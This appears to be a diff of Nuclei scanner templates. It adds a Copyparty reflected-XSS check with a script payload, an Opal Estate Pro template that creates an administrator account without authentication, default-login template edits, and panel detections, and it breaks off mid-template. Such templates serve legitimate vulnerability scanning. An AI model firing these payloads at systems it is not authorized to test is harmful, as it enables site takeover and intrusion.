+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 7.6
+    cve-id: CVE-2025-4123
+    cwe-id: CWE-79,CWE-601
    epss-score: 0.01231
    epss-percentile: 0.86537
  reference:
@@ -41,4 +43,4 @@ http:
        name: ssrf
        dsl:
          - contains(interactsh_protocol, 'dns') && contains(content_type, 'image/png')
-# digest: 490a00463044022047971921b6102c2ccd6481a1b1818a20d282a1313833e23bd11d7ecd49aa7d5c02206acebff5d3dc7a15d966df02b73630a86c5460c6f9450d78929f41860004952b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b677c703bdd4f5e0e80cf2685612a771434fb96b68a04e94d4f9d50d0b6b97cd02203bdcd05fe058e18907b5a9546e43f373f332b559382bf35990bb5199586652b6:922c64590222798bb761d5b6d8e72950
@@ -133,4 +133,4 @@ http:
          - 'contains(x_nuclei,"CVE-2025-53770")'
          - 'contains(body, "MSOTlPn_DWP")'
        condition: and
-# digest: 4a0a00473045022033fb96d30780046027b4f8ad99bc8918171d236e153e9b4fd7091ba5579766c5022100a73075ce0a9daf4f56c47f1b8a642903464aea51faf61af56f195b3ccc66ee9a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022050d3c2047a0a615a9110f7054c0735147d57d40d72b8bd5faa230e53e9504dc6022068b7baae2c004a6c14dc76b622a4d60cabd5be614cd93d85f7930e74c67656b3:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,54 @@
+id: CVE-2025-54589
+
+info:
+  name: Copyparty <=1.18.6 - Cross-Site Scripting
+  author: s-cu-bot
+  severity: medium
+  description: |
+    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
+  remediation: |
+    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
+  reference:
+    - https://github.com/9001/copyparty
+    - https://secalerts.co/vulnerability/CVE-2025-54589
+    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
+    cvss-score: 6.3
+    cve-id: CVE-2025-54589
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: copyparty_project
+    product: copyparty
+    shodan-query: http.title:"copyparty"
+    fofa-query: title="copyparty"
+    google-query: intitle:"copyparty"
+  tags: cve,cve2025,xss,copyparty
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'filter": "</script><script>alert(document.domain)</script>'
+          - 'control-panel'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a004830460221008af4bca4f363dd3577c686ab93f9b2ea0ddf3e0be56f3957dcf63ad864e0c3a8022100bc0a140af3e9496fc5157c56c5faa7a943ad458b07e20481f46fb2da5c0476e7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,72 @@
+id: CVE-2025-6934
+
+info:
+  name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
+  author: pussycat0x
+  severity: critical
+  description: |
+    The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
+  impact: |
+    An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
+  remediation: |
+    Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
+    - https://wordpress.org/plugins/opal-estate-pro/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6934
+    cwe-id: CWE-269
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: themeforest
+    product: opal-estate-pro
+    publicwww-query: "/wp-content/plugins/opal-estate-pro/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,opalestate
+
+flow: http(1) && http(2)
+
+variables:
+  username: "{{randstr}}"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "opalestate-register-nonce"
+        internal: true
+
+    extractors:
+      - type: regex
+        group: 1
+        name: nonce
+        part: body
+        internal: true
+        regex:
+          - 'name="opalestate-register-nonce" value="([a-f0-9]+)"'
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{username}}&email={{email}}&password={{password}}&password1={{password}}&role=administrator&confirmed_register=on&opalestate-register-nonce={{nonce}}&_wp_http_referer=%2F&ajax=1&action=opalestate_register_form
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body, 'status\":true')
+          - status_code == 200
+        condition: and
+# digest: 4a0a00473045022100e8989d1aecaff5733f64ddbf34fe295a86daa81ded474f940e42a69022b8630802205b14d8b735e4f48019bd42cb80a9b9f4260396ed99e0412d3880644d78622b6e:922c64590222798bb761d5b6d8e72950
@@ -11,28 +11,13 @@ info:
  classification:
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
-    max-request: 406
+    max-request: 405
    vendor: apache
    product: tomcat
    shodan-query: title:"Apache Tomcat"
  tags: tomcat,apache,default-login

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET /manager/html HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "Apache Tomcat"
-          - "401 Unauthorized"
-        condition: or
-        internal: true
-
  - raw:
      - |
        GET /manager/html HTTP/1.1
@@ -112,4 +97,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022014b1f7373f6234c1e716b897b463f45bfedd9588d7abb22a6a4577c172ea046c02206e613fe8061440118b01ad3c0e2082b24cceef0d0d1a47091a192dfaf5052421:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e84eea473f5a26acd73d3fa52a2313875a2b12036279307754a5d6334878555f02203bf43e6e31a50b26746f330f163310d323977d0f4d1a3286d65e33001c72bb8d:922c64590222798bb761d5b6d8e72950
@@ -13,29 +13,13 @@ info:
    cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 17
+    max-request: 16
    fofa-query: app="APACHE-CouchDB"
    product: couchdb
    vendor: apache
  tags: default-login,couchdb,misconfig

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "CouchDB"
-          - "couchdb"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        POST /_session HTTP/1.1
@@ -78,4 +62,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220418f142b0c17deadbcca49680c0f77af0b71e94351565d5d913a0b6edb45166d022100a558f04bd8a7aaf1ba63dd40d299357e8d93c90bacd693468f0105b252b758a5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d41fe63a1719a36020dc89e8d527fafbdc4ea358fe68ee11ed3cc9128bba3da702204ba287978e05ef95f2b912019e77e826ca52e23edf0dc1aa8eb8ec0cc2f278fd:922c64590222798bb761d5b6d8e72950
@@ -10,28 +10,13 @@ info:
    cpe: cpe:2.3:a:esafenet:cdg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 33
+    max-request: 32
    vendor: esafenet
    product: cdg
    fofa-query: esafenet
  tags: esafenet,cdg,default-login

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/CDGServer3/"
-
-    matchers:
-      - type: word
-        words:
-          - "CDGServer"
-          - "Esafenet"
-        condition: or
-        internal: true
-
-  - method: POST
  - method: POST
    path:
      - "{{BaseURL}}/CDGServer3/SystemConfig"
@@ -71,4 +56,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100dbb1e3763bac4714c6e98021f7b0088b44b7fafd297456d8f694ea534d4cd8b402205f33a958ba9b1bdaa7e887d7cca1f829961314f9836aafa5c2ce91ba82ffca2a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022068cba10046c09e2a034a03b38b53eb8c48b520d9804570e752a173c07a6f68de022100c42248c90b2159982cca65e722a5b0f3deee60a58a6eee01f1f9f2ffa8eb6311:922c64590222798bb761d5b6d8e72950
@@ -15,27 +15,11 @@ info:
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
-    max-request: 13
+    max-request: 12
    shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
  tags: default-login,goip,gsm

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "GoIP"
-          - "Please Authenticate"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /default/en_US/status.html HTTP/1.1
@@ -69,4 +53,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220702869520441981bbfcbcded596a9addd522d8173b17a3d7975d848214125f2f022100df57dc852aca88466633f374a29a4b1fcf845035840b3ae5aa87c76f9700d74d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100edaa56f00e761afe08029701663c8bca34d197fdcc8b6ad11e6759a0fbb1f6ba02203cfa23c422bdf01b12145252e2bfe96e91682786e8f90945e75f3ac675a2d183:922c64590222798bb761d5b6d8e72950
@@ -14,29 +14,13 @@ info:
    cpe: cpe:2.3:a:redhat:jbpm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 13
+    max-request: 12
    shodan-query: html:"JBossWS"
    product: jbpm
    vendor: redhat
  tags: jboss,jbpm,default-login

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "JBoss"
-          - "jbpm"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /jbpm-console/app/tasks.jsf HTTP/1.1
@@ -80,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100e63415d826455103202795b50a05da6af73dd81b774baebf354760424a561520022100bdbbb9739cf9e1ef03dfe81736056ee29444d3c45d4032a5bc6708fde156fbba:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206bc2245878efdc91ce2512783f73bdccd76514b18752320fc6cbdafc04ac6473022100dd20db771bd2bfc7c6b7bbd90ef34c623cac835238699c9f1bf47a716353970e:922c64590222798bb761d5b6d8e72950
@@ -12,26 +12,10 @@ info:
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
-    max-request: 29
+    max-request: 28
  tags: jboss,jmx,default-login

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "JBoss"
-          - "jmx-console"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /jmx-console/ HTTP/1.1
@@ -64,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220384c491bed43c8a581dcc34c2bbcc8c1e350fe1250fd826351d70d0b831249c402201a319fa39e1e32e5882fc84a4988c2ade223110e79c5e7780bc2fefa4bb927d4:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220728df52a03a943c3462efe699e175432849df21b7d3df67dd0fbf21e09961c570220768ef32aae8aedbbaca820965cde2670b762518f3aace9d48db736b6880db5da:922c64590222798bb761d5b6d8e72950
@@ -15,28 +15,13 @@ info:
    cpe: cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 201
+    max-request: 200
    shodan-query: title:"Oracle PeopleSoft Sign-in"
    product: peoplesoft_enterprise_peopletools
    vendor: oracle
  tags: default-login,peoplesoft,oracle,fuzz

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-
-    matchers:
-      - type: word
-        words:
-          - "PeopleSoft"
-          - "Oracle"
-        condition: or
-        internal: true
-
-  - method: POST
  - method: POST
    path:
      - "{{BaseURL}}/psc/ps/?&cmd=login&languageCd=ENG"
@@ -100,4 +85,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a00473045022100bba4e4dc667b6a04e72c3262a3734076141cfdfa4dd2321a370d3bb0ed585bcc02201b90b07f21254c8a0d4426767639251f2ec2716b53d94f069ad752065addc3f2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201fdcc6379d4ef3ba86c63b56cf8e058304820e636ea25a3b3ed3c5e5f798a66002205c2b86feaa9befea9856c54db112b5c9f62ddc3158ec22173a2a5cd35d9726d1:922c64590222798bb761d5b6d8e72950
@@ -14,29 +14,13 @@ info:
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 17
+    max-request: 16
    shodan-query: http.title:phpMyAdmin
    product: phpmyadmin
    vendor: phpmyadmin
  tags: default-login,phpmyadmin

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "phpMyAdmin"
-          - "phpmyadmin"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /index.php HTTP/1.1
@@ -92,4 +76,4 @@ http:
          - status_code_2 == 302
          - contains(header_2, 'index.php?collation_connection=utf8mb4_unicode_ci') || contains(header_2, '/index.php?route=/&route=%2F')
        condition: and
-# digest: 4a0a00473045022038a1ab30c31196ddc1edbc910a39c188c63fc5b33382ae46959c949be6ac8031022100b9122b7ddb6e5803618633c5f882bc227c75c2f8927333650ff7f82314868443:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d02c59dfe090e128568200bc929b6e51c6db84a5a2594cc440792096ad8402d3022100d2eeda885e43d9493f1d81ddc8ea77f7b6ced9abb4c3347bbf61f14ac2649858:922c64590222798bb761d5b6d8e72950
@@ -13,27 +13,10 @@ info:
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
-    max-request: 17
+    max-request: 16
  tags: default-login,weblogic,vulhub

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "WebLogic"
-          - "Oracle"
-          - "console"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /console/ HTTP/1.1
@@ -79,4 +62,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 490a00463044022028c592d8b82db6a1ab5f8e983de3e9d9f4e0858a2c47159bb342be7bd7bd9b2f02201db17b7da5c8771212ebe56d7302626d18e95bc798c8207e46ba38fd49b65fe9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100deb7a387ad6d121d371ab3d8a6426b4a5d0c99945f7f1d379adc654a86b792d0022038f1c71653428ebe327d89b4f37e87eb26d993baef6e59b931e6d6150e194f8b:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code==200 && contains(tolower(body), "<title>ackee")'
          - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
        condition: or
-# digest: 490a00463044022032c03562cb54973c4fad62e2c586ca4b2289fc3b212f16c7164e97b6340a158d022070c426e16cea4818d72784a9df9592a3ae2d4d79d1964e6ed7316f5c28ee2ed9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205f8ed0c3c5ca7e0ef70bf8457d602f44fb985f705017c82d3dc9cb09daf3c2ec0221008a155728964f2ad74cedc09f7fb9a5814f3ea2b2e2011d34a6dae0b020e2f5d4:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4a0a0047304502201ea34d0524a8b5338996fb469766a3d034ab6d7b139c1be3a2f56e14e08a9638022100bf340d2e5ac3bb75e1d0e4867ef1601a68aa29091ca49ec71c86d70fbc304381:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220489d5f388122e818fb36b43a0c60c793883f49286ae6f24f612542707e46a622022100f8c97dd1a825d70ae92c416be65bd2bb78539aa423412e980c386f188c56bc2a:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        group: 1
        regex:
          - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a00473045022100d97d307ae5a035f3b4ce6b3cb6321d016df65e1cc99c61b8c7f339739f4e958b02201fd257239c8398df6ad5203d0a73430275b09692d0db7aa60f5c94f435d9ba75:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dc923b2e87074c526f807fb41d7a99c618ee9e3994ebfb4aaf9296b7a14cf773022030f587867b19d856be95ea17555e3bd79d9ae060d6ac9860fe190da706556e3c:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        group: 1
        regex:
          - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a004730450220236caedd60d2de9aa9832d03f227da56fd3edde3e45c220dd0d9200dd0cee50e022100c732edd00c5478eeb27c951078e25b6300f992d1324f0c3c65c685efd76d54d9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220590c5954fc1ac10de23a59a6838c604a523ae5084452b84815cb37d0eb000f82022100c81ab400859468a120c7b7f4425dfb8c10ed0d07cdce5fd3b5cbb9caebbb191e:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a00473045022100add618065ee7211d895ee31996995f71dab5aa59cba7ae3544cbd89ec19d717e02205523aebda08deb71d29d801cd49db915836b74bc6c2b1be36c1ba24c3a7f28eb:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220447411703bf409772dd15e2a7e43a0a3875d9b40d6e428f76bdc0f8d241c5dbc02203cf3ab404bed2075fde105ad48ab315a67969a9a0ba9406db694e77608fa9758:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "title=\"blue yonder\"")'
        condition: and
-# digest: 490a0046304402206f73e6a634c2991d096ba9615bf692f17f9cb922e9a1d35b576695f864d5b67d02206f2848c66b57acebe2876255fedd19df17c4e0ae6d2883ae325e8fb695431e8b:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022077f2f69653626b361d2d1627623ae7855b11b5777ae01f9136158d400cfaf9e20220533e903b43ce7c664a884a8e42d529fa91127ba7e2b74140ca66ca680d457557:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'contains(to_lower(body), "file exchange</title>")'
          - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
        condition: and
-# digest: 4a0a00473045022100e9b022acca3557a384a6eb0707cd331749773af318b03f8947062bbadef8e6d702201dd10b25ec7dc8d200b43f7f4ffe7e77426fdef44beffa41fc55863af86b6e42:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207d7fd3192fb8dbd484ffc294138daf36969d8108144c00280fb7272b09bff33e0220536a3f0c36ae6906d747710f73600e45e61aefcc7c3bd91f4f4391b4734e287a:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
        condition: and
-# digest: 490a0046304402205c61af35f30f52e9ae871f23d3b3d019d102f16b10389697759d16dc74679b5802206fa57c4995943a2e07417613864e9a242537d868835fd2c3eb1045e78a2de439:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201530bbd07a84c4827d4f0bd330bc886746d12dd1babe72b1e12982d4fdee834b02203820e8a5553ab89201d1a059ff195ae77be5b02e443d314ff0633fd0d4981db6:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022100b99438779d63507dab5e0149fee8dbf8a8b7822523105823c7bcd48f0eb6d7b902203f7f09061d2379e5eb0b3d6a488a339cedcd6773f0a92f947c0613e1a2fcc54b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207104a08f4388c04a974a813784233d1138e12bd3b734107dfba299d80da85de9022100ddd18081db0fe1c92efa2083fa47f28ea158991be4d298eb8300948125f50f46:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100cae86372c51171962cbbe3253b475cce9f5f01b2c7e6551b6d9c86a27b266acb02210081560867814323bf59fb097c700f00fc09a60cd08a63b83d5b4f29faadb2efa7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d0f57f4ac10cc66e153f94c053606fde8f385582b2e2d7c0d6f7644f9386254602204e7983b47a2db5d4d15fb74a713527c60ebc7a8d41cc898358f64e0f7f7a4e56:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100b79252ee2e5f38ace407c9618868a99ef35e8c3beea4155408a6b0e774b51f7d02207d20f8bd847fb8ec18a7a0cdc92985c75c374943a9e3d22826c4032c03f675bf:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022077624d301100b081f3535e1b55f30f5c192c556c72284c653514f47355af453602206ec90dab8472900b7c06f99db013ea3f3d408989d9d2a5ee27b2622c92667820:922c64590222798bb761d5b6d8e72950
@@ -47,4 +47,4 @@ http:
      - type: dsl
        dsl:
          - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4a0a0047304502202bfe29f6f78e5bd4fe97f4bbc4463ab253c879cf43929e2dace701c05282a65c0221009d65294ed7e7f812bee96af72c7d45488e3fc12c68c63c0d3ecf8b59ce7d893d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100caba70f154ec844ac3be9112445b94fae0cebc92ba4b92e3ec0b2b6cbc86af6c022100f7c393c7b936b983112b49ec51d2f775fa22edf765d1dc8d5eb5ac48c0b98ead:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        regex:
          - '(?i)package:\s+"([a-z0-9._-]+)"'
          - '(?i)version&nbsp;:&nbsp;([a-z0-9._-]+)'
-# digest: 4a0a00473045022100b0b88a4781bb7c1f0418a02ad2172302ea91bb8742d97d99f786e19596e307d002202eda9b18c59ae9d7b4d3d7380d76cf49cad040cb31810ddcd13e13da73aa2069:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f296a3e0cba1b1f18d4b4d926bb39ba87f9bd565a524a837b21eba6ba0d8e52f022100eac4cee10f783f19e7fea98adf276887277dd5a514913e788fc9444abfff3a90:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
+id: espec-web-controller-panel
+
+info:
+  name: Espec Web Controller - Panel
+  severity: info
+  author: darses
+  description: |
+    Espec Web Controller panel was discovered.
+  reference:
+    - https://espec.com/na/products/option_detail/web_controller/
+  metadata:
+    max-request: 2
+    vendor: espec
+    product: web_controller
+    shodan-query:
+      - title:"Espec Web Controller"
+      - http.favicon.hash:529766441
+    fofa-query:
+      - title="Espec Web Controller"
+      - icon_hash="1190353375"
+  tags: panel,espec,ics,login
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/version"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Espec Web Controller"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "Version: ([\\d\\.]+)"
+# digest: 490a0046304402207e9b2231405ae2603c27b55115092117c363707e4ca204fda30e886d80b47ef702201c5c2d4dde2a7e798a5f792e9ddd7fc19cf180a5ea3a790629b2b11d96865f19:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220776bed0f5713bffed23a37c26ff297761171a0207d3f854a931931300ee8579c02200c5ac6f8326014a32e13d0405740e1ead2fe6ab8cb9b4f37deadc167fd28c055:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d182a09a75666909fcd623caac19259cdf65899ac53822eb02eeb965f0a0e1c02203201b015b9699e664871e72895de1851b71b5724b4ea70400a342c5575a9ec75:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502204fce7d11076e4982dcc461923dff36c93b7bf16eeccddaf33b02ae6e1534ca0c0221008ac4186c0662de1916ed01c2be1b65700425ed97fec5b7210068d7be8e7caceb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022021150f867081e2a40ba2937d33608c68a7e03f1fbb556c3b34953e9d31773b14022100f8127348ebc70ce6e0060d4dc23fa0dc30288d0391bd9fd76b9bfd83705faf4d:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502201a3cc95afcd18455e3c00ffe5da14fd2b2ef9e86dead26be742184719aa42701022100af3caae6c420d56e20c3dd958c1988c3ee728743393bfffcfd50d47335b46db2:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ce2423b6f5392644fb17047ecf44e07a4d780f2e9789284322ad4afce6bdf90f022100fa84197a1c9b9199e1e152087fe2fac898839fa9c4a33a8d27061abc5e7a515f:922c64590222798bb761d5b6d8e72950
@@ -24,4 +24,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
        condition: and
-# digest: 4b0a00483046022100aa9ceff2727366f37ce14ea965e942293dc1f62f0dccd4c7976b4ed874cbc18b022100e4402e230074ac9afe11156e3f837a70a5a9dae2c12196719f7a8d386f2c2937:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100be474a0e64d74534e27afc071d930869ed8224403405a74b839fa89cdedb61b1022100899edd1a73386206eae608fe229ec2c003fa01021f53159a0b67d19a84e2dc1e:922c64590222798bb761d5b6d8e72950
@@ -2,7 +2,7 @@ id: hangfire-dashboard

 info:
  name: Hangfire Dashboard Panel - Detect
-  author: DhiyaneshDk
+  author: DhiyaneshDk,righettod
  severity: info
  description: Hangfire Dashboard panel was detected.
  classification:
@@ -34,7 +34,7 @@ http:
      - type: word
        part: body
        words:
-          - 'Overview – Hangfire Dashboard'
+          - 'Hangfire Dashboard'
          - 'Realtime Graph'
        condition: and
        case-insensitive: true
@@ -42,4 +42,11 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100ef1ef978941bcf49532cd5dc74d3d2b9253317951eca26a5179597e6e891c954022100c847a99d1c96056eb3250cd0997621d546f16fb5bb9d510e00555cf5b601068e:922c64590222798bb761d5b6d8e72950
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - 'Hangfire\s+([0-9.]+)'
+# digest: 4a0a004730450220188936b65457aea1af1a075691be7274bad551bfa8a9922920c67c94c4a308a1022100c66bc001ead4416f9809eedb0e2d2c0369f48f6db2cd4432271263c382d005c7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,79 @@
+id: huawei-holosense-panel
+
+info:
+  name: Huawei HoloSens SDC - Panel
+  severity: info
+  author: darses
+  description: |
+    Huawei HoloSens SDC Panel was discovered.
+  reference: |
+    - https://www.huawei.com/en/products/intelligent-devices/holosens-sdc
+  metadata:
+    max-requests: 1
+    vendor: huawei
+    product: holosense_sdc
+    shodan-query:
+      - "Server: SDC Server"
+      - http.html_hash:-968212412
+    fofa-query:
+      - '"Server: SDC Server" && protocol="https"'
+      - '"Server: WebServer/1.0.0" && port="1443"'
+  tags: panel,detect,huawei,holosens,iot
+
+flow: http(1) && http(2) && http(3)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains_any(server, "SDC Server", "WebServer/1.0.0")
+          - contains(body, "cmcc-login")
+          - status_code == 200
+        condition: and
+        internal: true
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/cgi-bin/main.cgi"
+
+    body: |
+      action=LoginState&glToken=null&stChannelId=101&channelId=101&para=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body, "LOGIN_NORMAL")
+          - status_code == 200
+        condition: and
+        internal: true
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/cgi-bin/main.cgi"
+
+    body: |
+      action=WebTransterToRestLogout&url=GET+%2FSDCAPI%2FV1.0%2FCustomization%2FElement%0D%0A%0D%0A
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains_all(body, 'brand', 'HoloSens SDC')"
+          - "status_code == 200"
+        condition: and
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
